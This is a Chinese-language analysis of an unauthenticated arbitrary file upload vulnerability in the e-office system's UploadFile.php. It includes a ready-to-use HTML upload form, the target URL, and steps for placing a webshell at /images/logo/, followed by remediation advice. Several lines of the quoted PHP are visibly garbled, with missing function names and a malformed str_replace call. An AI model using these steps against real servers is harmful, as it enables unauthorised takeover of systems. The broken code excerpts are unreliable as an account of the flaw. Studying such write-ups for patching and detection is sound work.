某office前台任意文件上传漏洞分析
字数 958 2025-08-25 22:59:10
e-office前台任意文件上传漏洞分析与利用
漏洞概述
本文详细分析e-office系统中存在的一个前台任意文件上传漏洞,该漏洞位于/general/index/UploadFile.php文件中,攻击者无需登录即可上传任意文件到服务器,导致服务器被入侵的风险。
漏洞定位
漏洞点位于/general/index/UploadFile.php文件中,具体在$uploadType == "eoffice_logo"的条件分支下。
漏洞代码分析
关键漏洞代码
else if ($uploadType == "eoffice_logo") {
$targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";
if (!file_exists($targetPath)) {
mkdir($targetPath, 511, true);
}
$ext = $_FILES['Filedata']['name']($_FILES['Filedata']['name']);
$_targetFile = "logo-eoffice".$ext;
$targetFile = str_replace(targetPath)."/".$_targetFile;
if (move_uploaded_file($tempFile, $targetFile)) {
// 数据库操作代码...
echo $_targetFile;
} else {
echo 0;
}
}
漏洞成因
-
缺乏文件类型检查:其他上传类型都有白名单过滤:
if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif")))但
eoffice_logo类型没有进行任何文件类型检查。 -
文件名构造问题:直接使用上传文件的原始扩展名拼接文件名:
$ext = $_FILES['Filedata']['name']($_FILES['Filedata']['name']); $_targetFile = "logo-eoffice".$ext; -
数据库操作:上传成功后会将文件名存入数据库:
INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}') 或 UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'
漏洞利用方法
1. 构造上传请求
上传URL格式:
http://target/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo
2. 上传表单示例
<html>
<title>泛微e-office文件上传</title>
<head></head>
<body>
<form action="http://target/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo" method="post" enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="submit" value="Upload">
</form>
</body>
</html>
关键点:
- 表单字段名必须为
Filedata - 必须使用POST方法
- 必须设置
enctype="multipart/form-data"
3. 上传流程
- 访问上述HTML页面
- 选择要上传的文件(如webshell)
- 提交表单
- 文件将被上传到
/images/logo/目录下,命名为logo-eoffice.[你的文件扩展名]
4. 手动修改请求
也可以通过Burp Suite等工具拦截并修改上传请求:
- 修改
uploadType参数为eoffice_logo - 确保文件字段名为
Filedata - 可以尝试修改文件扩展名
漏洞验证
成功上传后,服务器会返回上传的文件名,如:
logo-eoffice.php
然后可以访问:
http://target/images/logo/logo-eoffice.php
防御措施
-
补丁修复:升级到最新版本
-
临时解决方案:
- 限制
/general/index/UploadFile.php的访问 - 在Web应用防火墙中拦截可疑的上传请求
- 监控
/images/logo/目录下的文件变更
- 限制
-
代码层面修复:
- 对所有上传类型实施严格的白名单过滤
- 对上传文件名进行严格校验
- 限制上传目录的执行权限
总结
该漏洞由于eoffice_logo类型上传缺乏必要的安全校验,导致攻击者可以上传任意文件。利用此漏洞,攻击者可以上传webshell获取服务器控制权,危害极大。建议用户及时更新系统或采取其他防护措施。